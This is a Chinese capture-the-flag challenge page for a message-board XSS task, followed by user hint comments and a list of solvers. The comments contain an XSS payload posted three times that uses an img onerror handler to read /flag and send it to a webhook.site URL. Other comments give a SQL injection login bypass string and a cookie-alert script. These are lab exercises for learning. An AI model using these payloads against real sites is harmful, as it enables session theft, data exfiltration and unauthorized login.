留言板WEB 未解决

分数: 10 金币: 3
题目作者: harry
一　　血: ꧁༺༽༾ཊ彪ཏ༿༼༻꧂
一血奖励: 5金币
解　　决: 3551
提　　示: 题目无需登录后台！需要xss平台接收flag
描　　述:
http协议需要http协议的xss平台
...
登录回复
评论
w12345 18天前
举报

进入admin.php文件通过登录将自己上传的xss代码进行回显，然后再上传<script>alert|document.cookie|</script>。就可以出flag了

回复 1
兄弟不要颓废 1月前
举报

https://www.yuque.com/xiongdibietuifeile/vr6h2q/flap13mdc8f9s0ce#smnAi 欢迎各位大佬批评指正

回复 0
厌弃. 2月前
举报

好像登录才能触发xss

回复 0
小石 2月前
举报

进入admin.php后，刷新不会弹出对话框，自己进去调试界面看一下cookie即可。

回复 0
Terrenc44 2月前
举报

不用xss，dns外带一下，一样可以的

回复 0
追风的牛牛 2月前
举报

笑死了,他把db那个数据库路径删除了

回复 0
song..22 4月前
举报

<img src=x onerror="fetch('/flag').then(r=>r.text()).then(d=>fetch('http://webhook.site/59ef6d33-3e0e-4a78-82f8-f38d98eff154?flag='+encodeURIComponent(d)))">

回复 0
song..22 4月前
举报

<img src=x onerror="fetch('/flag').then(r=>r.text()).then(d=>fetch('http://webhook.site/59ef6d33-3e0e-4a78-82f8-f38d98eff154?flag='+encodeURIComponent(d)))">

回复 1
song..22 4月前
举报

<img src=x onerror="fetch('/flag').then(r=>r.text()).then(d=>fetch('http://webhook.site/59ef6d33-3e0e-4a78-82f8-f38d98eff154?flag='+encodeURIComponent(d)))">

回复 0
Gcysnd 5月前
举报

挺容易，挖到admin后台/admin.php用1' or '1' = '1' --万能用户名登录后发现存在html注入点，于是聊天室发送<script>alert(cookie)</scirpt>找到flag

回复 0
xxsko 5月前
举报

万能用户名你可以?我用你这个也不行1' or '1' = '1' --万能用户名

回复 0

WriteUp

image
丶我亚索贼六

5 金币

立即查看

评分(20)

解题动态

GCC 攻破了该题 25分钟前
0owo0 攻破了该题 14小时前
Alter 攻破了该题 1天前
xiaoxiang07 攻破了该题 1天前
南汐 攻破了该题 3天前
moque 攻破了该题 3天前
小懒 攻破了该题 3天前
ddd_mifan 攻破了该题 5天前
花开花落 攻破了该题 5天前
zmjjkk..... 攻破了该题 6天前
itsjimo 攻破了该题 6天前
KN11 攻破了该题 6天前
世界你好 攻破了该题 7天前
duxs2017 攻破了该题 7天前
小楼一夜听春雨 攻破了该题 8天前
1柒1 攻破了该题 8天前
xinghai147 攻破了该题 8天前
能工智人 攻破了该题 8天前
17199913044 攻破了该题 10天前
xiaoqixy1 攻破了该题 11天前
问题反馈